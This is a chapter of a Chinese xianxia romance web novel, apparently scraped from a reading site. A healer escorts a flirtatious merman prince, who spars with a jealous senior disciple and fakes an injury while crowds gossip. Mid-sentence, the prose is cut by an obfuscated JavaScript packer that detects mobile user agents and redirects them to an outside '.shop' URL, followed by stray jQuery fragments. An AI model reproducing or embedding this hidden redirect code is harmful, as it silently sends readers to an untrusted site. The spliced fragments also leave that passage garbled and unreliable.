孟养心难得赖一次床,日已三竿才堪堪起身。

    吴御鹰去了苍云峰教习新来的小弟子们,连璧似乎窝在房间里,不知道在做什么。

    孟养心走进厨房,见灶上煨着松茸鸡汤,她盛了一碗。

    一大早就吃肉真的有些罪孽,但很香就是了。

    她在心里盘算今天的日程安排:

    先把浮念雪的事情解决掉;

    之后,去找阎千灯说明昨日发现的情况;

    再然后,将已处理好的账本交给各管事,顺便问一下其他各镇有没有出现与桃岚镇相似的时疫;

    最后晚间时向连璧打听一下鼠妖的事情。

    计划好之后,孟养心快速吞咽消灭碗中的食物。

    她到达苍云峰时,浮念雪还在捯饬自己,他穿了一身水绿配浮光色的衣衫,淡雅清新的同时闪着波光粼粼的色彩,

    他正在各种妆奁锦盒中挑着首饰,放到身上比对。

    “哎呀,看了这么多还是透明的纯色水晶与这身相配。”

    看到孟养心过来,浮念雪笑呵呵地询问她的意见:“你觉得怎么样?”

    “都行。”

    “真敷衍。”浮念雪假嗔了一下,“我可是特意挑的绿色,和你的衣服同色呢,你不好好看看么?”

    孟养心:“……”

    她又细看了一眼:“那行,不好看,你去换了吧。”

    “哈哈~”浮念雪笑了,丝毫不在意孟养心的评判,“我不,我就要穿这个!”

    今日要去的是逍遥峰,他有预感,连璧那个家伙还回来,他要再挫挫他的锐气,昨日想了半天还是与孟养心穿同色衣服攻击性更强。

    莫染尘就爱用这招,天天与姐姐穿得相似,姐姐竟然也不觉冒犯,堂而皇之纵容他这么做,不知道的还以为他是正夫。

    一想到莫染尘,浮念雪气不打一处来,但这招的确很好用,那些侍君酸得牙都要掉了。

    ……

    相较于其他三峰,逍遥峰稍显枯燥,亭台楼宇也较为普通。

    不过,逍遥峰高耸入云,山巅云雾缭绕,常年不散,宛如仙境,且凉爽不晒,故而剑修弟子最爱在此处练剑。

    浮念雪执意要去,孟养心拗不过他,只好带他过去。

    结果的确如她所想,浮念雪刚一落地便吸引了众多正在练剑的弟子的目光。

    有大胆的上来与他打招呼,浮念雪也是个能说会道的,直接与人攀谈起来。

    胆子不大的弟子凑到一块窃窃私语,视线在孟养心和浮念雪之间流连转换。

    孟养心能听到他们在讨论她与浮念雪之间的关系。

    她脸色一沉,欲要上前解释,不远处传来一阵骚动,吸引了众人的注意。

    “连师兄来啦。”

    “自他受伤后,好久未见他了。”

    “连师兄怎么也穿一身绿呀?嗯?我为什么要说‘也’?”

    “你没说错,你看他们三个穿的……”

    “你们没听说吗?”

    “啥啊?”

    “这位鲛人王子纠缠孟师姐好几天了。”

    “还有,前几天晚上在藏书阁,孟师姐和连师兄……你凑近点,我告诉你。”

    ……

    场面有点吵闹,众人似乎心有灵犀一般,主动向两旁让出一条路来。

    连璧今日穿了一身青衣,他在仙留镇的锦绣布店定做的,昨日刚取回来,他觉得那布店的老板说得对,他应该穿一身和孟养心相配的颜色,而不是一成不变的白衣。

    本想穿上她最喜欢的颜色毫不留情地拒绝她,但他现在改主意了,他要答应她的表白,让大家看看他们俩有多配,连衣服都要穿一样的——

    嗯?什么玩意儿?

    连璧一眼就看到了浮念雪……的衣服。

    无他,鲛纱太过耀眼,在晴日之下灿烂如华,光彩夺目,但这不是重点。

    他为什么也穿了青色?!

    连璧默默攥紧了拳头。

    神女无意,耐不住襄王有情,还死缠烂打!浮念雪这个狐、媚、子!

    不能让他乱了自己的计划,连璧深吸一口气,忽略浮念雪,众目睽睽之下径直走向孟养心。

    “呦!连公子,咱仨真是心意相通、审美一致,衣服都能穿成颜色一样的。”

    浮念雪窜了出来,挡在孟养心身前,面上笑眯眯,心里想的却是:

    好你个连璧,竟然敢剽窃我的智慧!

    没关系,他还有招!

    “你让开。”连璧冷语道。

    浮念雪皱眉,刚想反驳,人群中传来一阵惊叹声,大家纷纷交头接耳。

    “天呐,有好戏看啦!”

    “嗯?是要打架吗?”

    “不止,是要抢人呢!”

    “我怎么感觉是抓包啊……”

    “懂了,二男争一女。”

    “打起来打起来……”

    “话说,这鲛人打得过连师兄吗?”

    ……

    大家嘟嘟囔囔,相互咬耳朵,浮念雪听不清在说什么,只听到一句他打不过连璧。

    他冷笑一声,看到连璧手中的长剑,眼里闪过精光,转身对着孟养心粲然一笑:“养心,早听闻青云宗剑法凌厉无比,势如破竹,我在琼涯海是也是练过剑术的,想找位剑修讨教讨教。”

    孟养心还在惊讶连璧怎么会出现在这里,还穿了他上辈子从未穿过的绿衣,被浮念雪一问,她回过神来。

    “可以,我来与你对练一番。”

    浮念雪不干了:“你又不是剑修,我好不容易来一趟青云宗,当然要向最好的剑修求教。”

    孟养心无语,不懂他又要干什么,索性敷衍:“目前留在宗门里最好的剑修是崔东风崔长老,你去找他吧。”

    浮念雪:“……”

    “不要,这不是有现成的嘛!”他看向连璧,“连公子想必是年轻一代中的翘楚吧,不知可愿赐教?”

    连璧不屑,嗤之以鼻地睨了浮念雪几眼。

    这条鱼细皮嫩肉的,手上连茧子都没有,还好意思说自己练过剑。

    既然他自讨苦吃,别怪自己手下不留情,也好让孟养心看看这厮是个什么货色。

    连璧收起视线,冷淡道:“可以。”

    浮念雪顿时欣喜,很快又变得无措起来,他耷拉起俊眉,一双潋滟水眸看向孟养心,软语道:“可是我没有剑,养心,我能用用你的吗?”

    站在孟养心后面的几个小姑娘倒吸一口,小声嘀咕起来:

    “哇,怎么楚楚可怜的,这就是妖男的魅力吗?”

    “我改主意了,我要支持他!”

    “混蛋,你怎么能临阵变卦。”

    “喂你们,重点难道不是他要用孟师姐的佩剑么,那是能随便给人用的吗?”

    ……

    毫不知自己在同门眼中已经变成了被争夺对象的孟养心直接掏出了啸风剑,递了过去。

    浮念雪高兴了,连璧心里却不平衡了。

    他瞳孔震了震,握剑的手骨骼嘎嘎作响。

    剑修的命定之剑从不会让给别人使用。

    孟养心竟然毫不犹豫地把自己的专属佩剑给了浮念雪!

    就算她是医修,可这种私密之物,她怎能……

    都怪浮念雪!

    没有剑,就知道犯贱!

    可恶!

    连璧觉得自己呼吸有些不畅,他背过身去调理气息。

    几个师弟凑过来给他打气:“师兄,我们都支持你。”

    “是啊师兄,这家伙弱蔫蔫的,一看就不能要。”

    “你得让孟师姐知道什么才是真男人!”

    连璧欣慰,虽然不知道他们为何说这些话,但道理很对就是了。

    孟养心只看外貌,哪知是不是花花架子,他有责任让孟养心吃点好的。

    “尽快开始吧。”

    连璧准备好了,回身看向浮念雪,周围看热闹的众人识趣地后退,让出了更大的空地。

    “行。”浮念雪应下。

    瞬间,两人剑拔弩张,利剑相碰发出震响。

    ……

    “你们说谁会赢?”

    “这还用说,当然是连师兄了!”

    “我瞧着鲛人王子也不弱。”

    “那要不要打个赌,就赌这鲛人十个回合内会输。”

    “咦,他好歹是个妖,怎么也能过百招吧。”

    “啊——”

    几个弟子喋喋不休,突听一声惊叫,他们顺声看过去,只见浮念雪扔了剑,转着旋儿向孟养心飞了过去。

    众人:“???”

    这才过了三招吧?!

    孟养心见浮念雪和连璧对练,想着连璧剑术出色,浮念雪作为王子修为应该也不低,两人应当会打很久。

    她正好去歇一会,甫一转身便听到浮念雪的喊叫,一扭头就看见浮念雪像只蝴蝶在空中翻转流连,直冲她而来。

    浮念雪那漂亮的鲛衣在日光下光彩摇曳、瑰丽非常,身上剔透晶莹的水晶于半空中划出闪耀的弧线。

    孟养心手比脑子快,踏空而上接住了他。

    下面发出一片“哇”声。

    二人落地之后,浮念雪顺势依偎到孟养心怀里。

    孟养心一惊,急忙躲避,浮念雪却直接向地面栽去。

    没有办法,孟养心只好去搀扶他。于是,便形成了这样的场面——

    孟养心半跪,揽着坐在地上靠着她肩头的浮念雪。

    浮念雪泫然欲泣,神态楚楚可怜,仿佛受到了天大的迫害。

    孟养心很无奈,身边一群人瞧着,她也不好发作,只好低头小声警告浮念雪:“你这是又唱哪出,快起来!”

    浮念雪并未理她这句话,而是用在场所有人都能听到的声音说道:“啊~养心,人家心口好痛,连公子真是的,竟然用这么大的力气来打我。”

    连璧将浮念雪击飞之后,料想他会摔个狗吃屎,于是挽了个漂亮

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755978|207625||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的剑花,利索收剑。

    浮念雪废物一个,连出剑的姿势都不对,还好意思与他比拼。

    可还没等连璧出言嘲讽几句,浮念雪便被孟养心搂在了怀里,而这个手下败将居然恬不知耻地说他打伤了自己。

    三招都没挨过去,能被打伤个屁!

    连璧顿时怒气冲天,走上前去驳斥:“你胡说,仅仅一招两式,时间不过三息,你受个什么伤!”

    “养心,你看他~”浮念雪娇嗔,“他还不认,我真的心口痛,不信你摸摸。”

    孟养心听着浮念雪黏黏糊糊的语调,直犯恶心。

    她受不了,也不想顾浮念雪的脸面了,正要拆穿他这副让她恶寒的作派,手掌被牵着冷不丁摸上了一个结实但有弹性的物体上。

    她愣住了,眼中流出惊异之色,手掌再也挪不开了。

    因为,她感觉到了心锁——只在书上见到的东西竟然是真的。

    手放在浮念雪的心口根本感受不到心脏的搏动,反而有一股寒凉之气透过骨骼皮肉传导上来。

    孟养心甚至能想象到,本该炙热生动的命脉被寒冰包裹、被锁链束缚,深陷无边死寂,正在等待将它拯救之人。

    真是太神奇了!

    孟养心忘了自己方才要戳穿浮念雪的想法,她不仅没有把手拿开,还主动往下摁着摸了几下,她真的很想知道鲛人的心脏是何种样子,心锁又是怎样的形态。

    “你心里真的有……”

    “当然啦,我怎会骗你。”浮念雪被她摁得真感觉到了一丝疼痛,不等她说完,立即接话。

    “那我能用灵力探查一下吗?”

    好不容易遇上一次,她不能放过机会。

    浮念雪羞涩地点点头。

    孟养心并不觉得自己的行为有何不妥,既然浮念雪假装受伤,她便趁着看病的由头达成自己的目的。

    但她的这一举动在周围人看来极其扎眼,尤其对于连璧来说。

    连璧浑身都僵住了,心凉了半截。

    孟养心不仅信了浮念雪的话,她还抚着他的心口不放。

    众人又开始叽叽喳喳。

    “怎么回事儿,不是连师兄赢了吗?”

    “鲛人王子好像受伤了。”

    “装的吧,演得也太差了。”

    “可孟师姐似乎信了……”

    “哎,怎么摸起来了,连师兄还在这儿呢,也不知道背着点儿人。”

    “为什么要背着他,说不定孟师姐选鲛人王子呢,她可是把房子都让出去了。”

    “那孟师姐现在还和连师兄住在一起呢!”

    “啊呦,住一起都拿不下,孬!”

    “说不定孟师姐更喜欢鲛人王子,你们不觉着他长得比连师兄漂亮吗?”

    “呵,打扮得花枝招展的,当然惹眼啦,还是连师兄这种清爽干净的好。”

    “你俩别争了,他们都不是一种类型,一个精致明艳,一个清逸俊美,有可比性吗?”

    “所以,不能两个都收了吗?”

    “嗯?”

    “嘶,好像也行。”

    ……

    孟养心和浮念雪有没有背着人做过什么,连璧不知道,但是这几个师妹师弟丝毫不知背人倒是真的。

    连璧就站在他们面前,他盯着孟养心和浮念雪,心中酸气混着怒意升腾,从众人喧闹的话里提取到自己在乎的信息——

    他们竟然说他没有浮念雪漂亮,还说孟养心会选这条鱼!

    连璧想起了了前世孟养心晚上回来时身上的脂粉味,想起了她这好色的底色,心里顿时拔凉一片。

    他做了这么多年的饭,最是知道,配菜也是菜呀,主菜还未出锅时,配菜吃起来最香了。

    而且,就算主菜上了桌,配菜也是还能吃的。

    世人皆说烈女怕缠郎,饶是孟养心不喜欢,但鱼都炖好送到嘴边了,她有不吃的可能吗?

    想到此,连璧整颗心如坠冰窖。

    他觉得非常有必要提醒一下孟养心今天的正事。

    “师姐,你……有没有话要对我说?”

    他的心脏猛跳如打鼓,不是激动,而是忐忑害怕,怕孟养心真的变心。

    “嗯?什么话?”

    孟养心掏出一个掌记小本,用柳木条制成的炭笔在其上书写,她要赶紧把刚才体察到的鲛人心锁记下来,以免遗忘。

    甫一抬眼,便看到连璧深深地望着她,那眼神像是烈日下浅池中的两汪水,带着滚烫的期盼以及……小心翼翼的哀求?

    孟养心懵了,此为何意?

    她看了看浮念雪,又看看围绕着他们的众弟子,了然。

    “哦哦,有。”

    连璧眼神瞬间放光,只听孟养心一脸郑重道:

    “连师弟,你放心,浮公子他没有事,麻烦你让大家都散了吧,该干嘛干嘛去。”

    孟养心说完,又低头写起了字。

    连璧怔住,他感觉自己的心嘎巴一声,死了。